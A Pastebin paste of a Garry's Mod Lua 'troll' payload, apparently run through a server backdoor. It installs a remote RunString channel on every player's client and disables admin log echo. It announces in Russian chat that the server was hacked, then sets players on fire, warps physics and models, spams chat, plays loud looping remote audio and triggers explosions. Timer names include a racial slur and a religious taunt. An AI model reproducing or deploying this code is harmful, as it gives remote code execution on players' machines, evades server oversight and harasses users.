nsfw2

Disco 2.0

Apr 15th, 2021
568
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5.     local ret = ""
  6.     for _ = 1, math.random( intMin, intMax ) do
  7.         ret = ret.. string.char( math.random(65, 90) )
  8.     end
  9.  
  10.     return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26.         if not IsValid( pPlayer ) then return end
  27.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28.         self:NextAction( pPlayer )
  29.     end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33.     pPlayer.m_intCurAction = 0
  34.     self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38.     net.Start( "skeleton_dancing_troll" )
  39.         net.WriteString( strLua )
  40.     net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44.     pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48.     lol:SetupPlayer( v )
  49.     timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53.     lol:SetupPlayer( pPlayer )
  54.     timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58.     if strText:sub( 1, 5 ) == "/1337" then
  59.         pSender:Ignite( 1e9 )
  60.         pSender:ChatPrint( "Nop" )
  61.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62.         return false
  63.     end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71.     lol:SendLua( pPlayer, ([=[
  72.         sound.PlayURL( "https://d.zaix.ru/7NNT.mp3", "", function()end )
  73.        
  74.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75.         local html = [[%s]]
  76.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77.             local pnl = vgui.Create( "HTML" )
  78.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  79.             pnl:SetVisible( true )
  80.             pnl:SetMouseInputEnabled( false )
  81.             pnl:SetKeyBoardInputEnabled( false )
  82.             pnl:SetSize( intSizeX, intSizeY )
  83.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.            
  85.             local PageLoaded
  86.             PageLoaded = function()
  87.                 local mat = pnl:GetHTMLMaterial()
  88.                 if mat then
  89.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90.                     return
  91.                 end
  92.                
  93.                 timer.Simple( 0.10, PageLoaded )
  94.             end
  95.  
  96.             PageLoaded()
  97.         end
  98.  
  99.         LoadWebMaterial( "https://ibb.co/ndzCH8", "hud1", 300, 128 )
  100.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306628-hud2.png", "hud2", 300, 128 )
  101.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306630-hud3.png", "hud3", 128, 128 )
  102.         LoadWebMaterial( "https://goo.gl/fgF2ji", "doritos", 256, 256 )
  103.         LoadWebMaterial( "https://goo.gl/fgF2ji", "fedora", 256, 256 )
  104.         LoadWebMaterial( "https://goo.gl/fgF2ji", "dew", 256, 256 )
  105.         LoadWebMaterial( "https://goo.gl/fgF2ji", "awp", 256, 256 )
  106.     ]=]):format(lol.m_strImageLoadHTML) )
  107.     RunConsoleCommand("ulx_logecho", "0")
  108.    
  109.     timer.Create( "hello", 2, 1, function()
  110.     RunConsoleCommand( "say", "Привет" )
  111.     end)
  112.    
  113.     timer.Create( "hello2", 10, 1, function()
  114.     RunConsoleCommand( "say", "РќР° сервере был найден Backdoor Рё РѕРЅ был взломан" )
  115.     end)
  116.    
  117.     timer.Create( "hello3", 14, 1, function()
  118.     RunConsoleCommand( "say", "Ничего плохого СЃ сервером РЅРµ случится" )
  119.     end)
  120.    
  121.     timer.Create( "hello5", 20, 1, function()
  122.     RunConsoleCommand( "say", "Это безопасное РґРёСЃРєРѕ..." )
  123.     end)
  124.    
  125.     timer.Create( "hello6", 32, 1, function()
  126.     RunConsoleCommand( "say", "Д¤бєЄД€РЊД’ДЋ аёїВҐ ĐỆfДЊб»’Еѓ Е в±ЈLб»’Р‡Иљ v5.2 Fixed" )
  127.     end)
  128. end )
  129.  
  130. --HUD swap
  131. lol:PushAction( 40, function( pPlayer )
  132.     lol:SendLua( pPlayer, [[
  133.         (GAMEMODE or GM).CalcView = function() end
  134.         (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  135.  
  136.         local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  137.         for k, v in pairs(remove) do
  138.             hook.GetTable()[v] = {}
  139.         end
  140.  
  141.         local function GetWebMat( strURL )
  142.             return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  143.         end
  144.  
  145.         hook.Add( "HUDPaint", "newhud", function()
  146.             surface.SetDrawColor( 255, 255, 255, 255 )
  147.  
  148.             if GetWebMat( "hud1" ) then
  149.                 surface.SetMaterial( GetWebMat("hud1")[1] )
  150.                 surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  151.             end
  152.             if GetWebMat( "hud2" ) then
  153.                 surface.SetMaterial( GetWebMat("hud2")[1] )
  154.                 surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  155.             end
  156.             if GetWebMat( "hud3" ) then
  157.                 surface.SetMaterial( GetWebMat("hud3")[1] )
  158.                 surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  159.             end
  160.             if GetWebMat( "doritos" ) then
  161.                 surface.SetMaterial( GetWebMat("doritos")[1] )
  162.                 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  163.             end
  164.             if GetWebMat( "dew" ) then
  165.                 surface.SetMaterial( GetWebMat("dew")[1] )
  166.                 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(ScrH() -250, ScrH() -260), 110 *((350 /110) -1), 256, CurTime() *-512 )
  167.             end
  168.             if GetWebMat( "fedora" ) then
  169.                 surface.SetMaterial( GetWebMat("fedora")[1] )
  170.                 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(250, 260), 256, 256, CurTime() *-512 )
  171.             end
  172.             if GetWebMat( "awp" ) then
  173.                 surface.SetMaterial( GetWebMat("awp")[1] )
  174.                 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 256, CurTime() *512 )
  175.             end
  176.  
  177.             draw.SimpleTextOutlined(
  178.                 "๑۩۩๑ в–Ѓ в–‚ в–ѓ в–„ в–… в–† в–‡Д¤бєЄД€РЊД’ДЋ аёїВҐ ĐỆfДЊб»’Еѓ Е в±ЈLб»’Р‡Иљ v5.2 в–€ в–‡ в–† в–… в–„ в–‚ ▁๑۩۩๑",
  179.                 "DermaLarge",
  180.                 ScrW() /2 +math.random( -8, 8 ),
  181.                 ScrH() /2 +math.random( -8, 8 ) +24,
  182.                 Color( 255, 0, 0, 255 ),
  183.                 TEXT_ALIGN_CENTER,
  184.                 TEXT_ALIGN_CENTER,
  185.                 1,
  186.                 Color( 0, 0, 255, 255 )
  187.                 )
  188.             end )
  189.  
  190.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  191.         hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  192.  
  193.         surface.PlaySound( "garrysmod/save_load4.wav" )
  194.     ]] )
  195. end )
  196.  
  197. --Disco time
  198. lol:PushAction( 9.1, function( pPlayer )
  199.     local idx = pPlayer:EntIndex()
  200.     timer.Create( "beat".. idx, 0.42, 0, function()
  201.         if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  202.         pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  203.     end )
  204. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  205.  
  206. timer.Create( "niggaspams2", 0.1, 0, function()
  207. RunConsoleCommand( "sv_friction", "-8" )
  208. end)
  209.  
  210. timer.Create( "niggaspams3", 0.1, 0, function()
  211. RunConsoleCommand( "sv_gravity", "-600" )
  212. end)
  213. timer.Create( "next_level_timer", 0.1, 0, function()
  214.     for k, v in pairs(player.GetAll()) do v:SendLua([[chat.AddText( Color( math.random(1, 255), math.random(1, 255), math.random(1, 255) ), "в–Ѓ в–‚ в–ѓ в–„ в–… в–† в–‡Д¤бєЄД€РЊД’ДЋ аёїВҐ ĐỆfДЊб»’Еѓ Е в±ЈLб»’Р‡Иљ v5.2 в–€ в–‡ в–† в–… в–„ в–‚ в–Ѓ" )]])
  215.     end
  216. end)
  217.  
  218. for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end
  219.  
  220.  
  221. hook.Add("Think", "busted", function()
  222.     for k,v in pairs (player.GetAll()) do
  223.         v:SetModelScale(2.5, 100);
  224.         v:SetRunSpeed(400 * 2);
  225.         v:SetWalkSpeed(200 * 2);
  226.     end
  227. end)
  228.  
  229. for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end
  230.  
  231. for k,v in pairs(player.GetAll()) do
  232.     local a = v:LookupBone("ValveBiped.Bip01_Head1")
  233.     local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
  234.     local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
  235.     local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
  236.     local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
  237.     local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
  238.     local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
  239.     local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
  240.     local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
  241.     local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
  242.     local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
  243.  
  244.         v:ManipulateBoneScale( a, Vector(4,0,4))
  245.         v:ManipulateBoneScale( b, Vector(0,0,0))
  246.         v:ManipulateBoneScale( c, Vector(0,0,0))
  247.         v:ManipulateBoneScale( d, Vector(0,0,1))
  248.         v:ManipulateBoneScale( e, Vector(0,0,1))
  249.         v:ManipulateBoneScale( f, Vector(0,0,0))
  250.         v:ManipulateBoneScale( g, Vector(0,0,0))
  251.         v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
  252.         v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
  253.         v:ManipulateBoneScale( j, Vector(0,0,0))
  254.         v:ManipulateBoneScale( k, Vector(0,0,0))
  255.         end
  256.  
  257.  
  258. timer.Create( "ignitelol", 0.1, 1, function()
  259. for k,v in pairs(player.GetAll()) do v:Ignite(120) end
  260. end)
  261. -----------------------------------------------------------------------------------------------------------------------------------------------------------------------
  262.  
  263.     lol:SendLua( pPlayer, [[
  264.         local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  265.         local time = 0
  266.  
  267.         hook.Add( "Think", "wat", function()
  268.             if CurTime() < time then
  269.                 return
  270.             end
  271.  
  272.             time = CurTime() +0.05
  273.             for i = 1, 16 do
  274.                 local part = emitter:Add(
  275.                     "particles/balloon_bit",
  276.                     LocalPlayer():GetPos() +Vector(
  277.                         math.random( -256, 256 ),
  278.                         math.random( -256, 256 ),
  279.                         256
  280.                     )
  281.                 )
  282.                
  283.                 if part then
  284.                     local Size = math.random( 4, 7 )
  285.                    
  286.                     part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  287.                     part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  288.                     part:SetDieTime( 4.5 )
  289.                     part:SetGravity( Vector(40, 0, -250) )
  290.                     part:SetLifeTime( 0 )
  291.                     part:SetStartSize( Size /2 )
  292.                     part:SetEndSize( Size )
  293.                     part:SetCollide( true )
  294.                 end
  295.             end
  296.         end )
  297.     ]] )
  298.  
  299.     lol:SendLua( pPlayer, [[
  300.         hook.Add( "RenderScreenspaceEffects", "wat", function()
  301.             local sinScaler = math.sin( CurTime() )
  302.             DrawBloom(
  303.                 0,
  304.                 3,
  305.                 sinScaler *math.Rand(1, 8),
  306.                 sinScaler *math.Rand(1, 8),
  307.                 6,
  308.                 math.Rand(0.5, 2),
  309.                 math.Rand(0, 0.3),
  310.                 math.Rand(0, 0.3),
  311.                 math.Rand(0.5, 1)
  312.             )
  313.  
  314.             DrawColorModify{
  315.                 ["$pp_colour_addr"] = 0,
  316.                 ["$pp_colour_addg"] = 0,
  317.                 ["$pp_colour_addb"] = 00,
  318.                 ["$pp_colour_brightness" ] = 0,
  319.                 ["$pp_colour_contrast" ] = 1,
  320.                 ["$pp_colour_colour" ] = 1,
  321.                 ["$pp_colour_mulr" ] = 0,
  322.                 ["$pp_colour_mulg" ] = 0,
  323.                 ["$pp_colour_mulb" ] = 1
  324.             }
  325.         end )
  326.  
  327.         local mdl = ClientsideModel( "models/player/breen.mdl", RENDERGROUP_BOTH )
  328.         mdl:SetNoDraw( true )
  329.         local posCache, time = {}, 0
  330.  
  331.         hook.Add( "HUDPaint", "dance", function()
  332.             if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  333.                 local idx = mdl:LookupSequence("taunt_dance")
  334.                 mdl.SeqDuration = mdl:SequenceDuration( idx )
  335.                 mdl.SeqStart = CurTime()
  336.                 mdl:ResetSequence( idx )
  337.             end
  338.  
  339.             mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  340.  
  341.            
  342.             local w, h = 300, 300
  343.             local ang = Angle( 0, 0, 0 )
  344.  
  345.             for i = 1, 32 do
  346.                 if CurTime() > time then
  347.                     posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  348.                 end
  349.                 local x, y = posCache[i][1], posCache[i][2]
  350.  
  351.                 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  352.                     cam.IgnoreZ( true )
  353.                     render.SuppressEngineLighting( true )
  354.                    
  355.                     render.SetLightingOrigin( mdl:GetPos() )
  356.                     render.ResetModelLighting( 1, 1, 1 )
  357.                     render.SetColorModulation( 0, 0, 1 )
  358.  
  359.                     mdl:DrawModel()
  360.                    
  361.                     render.SuppressEngineLighting( false )
  362.                     cam.IgnoreZ( false )
  363.                 cam.End3D()
  364.             end
  365.  
  366.             if CurTime() > time then
  367.                 time = CurTime() +0.15
  368.             end
  369.         end )
  370.  
  371.         surface.PlaySound( "vo/npc/male01/ohno.wav" )
  372.     ]] )
  373. end )
  374.  
  375. lol:PushAction( 46, function( pPlayer )
  376.     lol:SendLua( pPlayer, [[
  377.         hook.Add( "GetMotionBlurValues", "wat", function()
  378.             return 0, 0, 1, math.sin(CurTime() *13)
  379.         end )
  380.  
  381.         hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  382.             local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  383.             DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  384.             DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  385.         end )
  386.  
  387.         hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  388.             render.SetMaterial( Material("cable/blue_elec") )
  389.             for i = 1, 32 do
  390.                 render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  391.             end
  392.         end )
  393.  
  394.         timer.Create( "thedrop", 0.42, 0, function()
  395.             util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  396.         end )
  397.     ]] )
  398.    
  399.     pPlayer:Remove()
  400.    
  401.     timer.Create( "rights", 0.1, 0, function()
  402.     for k, v in pairs(player.GetAll()) do
  403.         v:ConCommand("+right");
  404.     end
  405.    
  406. end)
  407.  
  408. --EVIL TIME rip headpones
  409. lol:PushAction( 100, function( pPlayer )
  410.     lol:SendLua( pPlayer, [[
  411.         surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  412.        
  413.        
  414.  
  415.         local sounds = {}
  416.         for i = 1, 4 do
  417.             sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  418.                 sounds[#sounds +1] = pChan
  419.             end )
  420.         end
  421.  
  422.         timer.Create( "asdf", 1, 0, function()
  423.             if #sounds ~= 4 then return end
  424.             timer.Destroy( "asdf" )
  425.             for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  426.         end )
  427.  
  428.         hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  429.        
  430.     ]] )
  431.    
  432.     timer.Create( "allahakbar", 5, 0, function()
  433.     hook.Add("Think", "armageddon", function()
  434.                 local explode = ents.Create( "env_explosion" )
  435.                     explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  436.                     explode:Spawn()
  437.                     explode:SetKeyValue( "iMagnitude", "500" )
  438.                     explode:Fire( "Explode", 0, 0 )
  439.                 end)
  440.                 end)
  441.                
  442.                 hook.Add("Think", "chatspam", function() for k,v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, " в–Ѓ в–‚ в–ѓ в–„ в–… в–† в–‡Д¤бєЄД€РЊД’ДЋ аёїВҐ ĐỆfДЊб»’Еѓ Е в±ЈLб»’Р‡Иљ v5.2 в–€ в–‡ в–† в–… в–„ в–‚ в–Ѓ " ) v:SendLua([[chat.AddText( Color( math.random(1, 255), math.random(1, 255), math.random(1, 255) ), "в–Ѓ в–‚ в–ѓ в–„ в–… в–† в–‡Д¤бєЄД€РЊД’ДЋ аёїВҐ ĐỆfДЊб»’Еѓ Е в±ЈLб»’Р‡Иљ v5.2 в–€ в–‡ в–† в–… в–„ в–‚ в–Ѓ" )]]) end end)
  443.            
  444.     pPlayer:Remove()
  445.      
  446. end )
  447. end )
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×